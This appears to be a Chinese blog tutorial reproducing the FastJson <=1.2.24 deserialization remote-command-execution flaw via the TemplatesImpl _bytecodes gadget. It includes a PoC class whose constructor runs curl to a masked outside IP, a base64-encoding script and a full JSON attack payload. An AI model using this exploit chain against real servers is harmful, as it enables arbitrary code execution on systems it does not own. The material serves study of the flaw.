天天看點

FastJson反序列化漏洞

參考文獻: https://kevien.github.io/2018/06/18/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(%E7%BB%AD)/ https://paper.seebug.org/636/ http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/4686.html jar包下載下傳: https://mvnrepository.com/artifact/com.alibaba/fastjson/1.2.47

Fastjson概念

Fastjson可以将

java的對象

轉換成

json

的形式,也可以用來将

json

java對象

,它的

JSONString()方法

可以将

java的對象

json

格式,同樣通過

parseObject方法

json資料

java的對象

一個栗子

序列化

PS:需導入

fastjson.jar

  • User.java
package fastjsondemo;
import java.io.IOException;
public class User {
    public String Username;
    private String password ;
    public String getUsername() {
        return Username;
    }
    public void setUsername(String username) {
        Username = username;
    }
    public String getPassword() {
        return password;
    }
    public void setPassword(String password) {
        this.password = password;
    }
    public User() throws IOException{
        Runtime.getRuntime().exec("calc.exe");
    }
}
           
  • Test1.java
package fastjsondemo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test1 {
    public static void main(String[] args){
        User user = new User();
        user.setUsername("admin");
        user.setPassword("123456");
        String entity1= JSON.toJSONString(user);
        System.out.println(entity1);
        
        String entity2 = JSON.toJSONString(user,SerializerFeature.WriteClassName);
        System.out.println(entity2);
    }
}
           
FastJson反序列化漏洞

反序列化

FastJson中的

parse()

parseObject()

方法都可以用來将

JSON字元串反序列化成Java對象

。但是

parseObject()

會額外的将

Java對象轉為 JSONObject對象

,即

JSON.toJSON()

parse()

會識别并調用

目标類的 setter 方法及某些特定條件的 getter 方法

,而

parseObject()

在處理過程中會調用反序列化目标類的所有

setter

getter

方法。

String json1="{\"Username\":\"root\",\"password\":\"123456\"}";
String json2="{\"@type\":\"fastjsondemo.User\",\"Username\":\"root\",\"password\":\"123456\"}";
Object obj = JSON.parseObject(json1,User.class);
System.out.println(obj);
Object obj1 = JSON.parseObject(json2,User.class);
System.out.println(obj1);
           
FastJson反序列化漏洞
FastJson反序列化漏洞

PS:json反序列化時會自動調用無參構造器裡的方法,導緻電腦彈出

password字段設定的是私有屬性,FastJson無權直接去反序列化私有字段。

複現 fastjson 反序列化導緻任意指令執行漏洞

version: FastJson<=1.2.24
           

環境搭建什麼的就不說了,按照大佬給的步驟就行了

  • 這是一個web應用,通路傳回“Hello world”。正常POST一個json,目标會提取json對象中的name和age拼接成一句話傳回:
    FastJson反序列化漏洞
    FastJson反序列化漏洞

漏洞原理:

  • 原理

    fastjson在解析json的過程中,支援使用

    autoType

    來執行個體化某一個具體的類,并通過json來填充其屬性值。而JDK自帶的類

    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

    中有一個私有屬性

    _bytecodes

    ,其部分方法會執行這個值中包含的Java位元組碼。

    想要使用

    TemplatesImpl

    _bytecodes

    屬性執行任意指令,有幾個條件:

    ①目标網站使用fastjson庫解析json

    ②解析時設定了

    Feature.SupportNonPublicField

    ,否則不支援傳入私有屬性

    ③目标使用的jdk中存在

    TemplatesImpl

  • 調用鍊(偷大佬的圖)
    FastJson反序列化漏洞
    利用方式
  • poc.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Poc extends AbstractTranslet {    #強制類型轉化為AbstractTranslet類

    public Poc() throws IOException {
        Runtime.getRuntime().exec("curl http://120.xxx.xxx.xxx:8989");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
        Poc t = new Poc();
    }
}
           
  • 執行指令

    javac Poc.java

  • 1.py(将

    Poc.class

    裡面的内容base64加密(FastJson提取

    byte[]數組

    字段值時會進行Base64解碼,是以構造payload時需要對

    _bytecodes

    進行Base64處理))
import base64
fin = open(r"Poc.class", "rb")
fout = open(r"en.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()
           
  • payload
{"name":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAZAAgAGgAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"},age:12}
           
FastJson反序列化漏洞
FastJson反序列化漏洞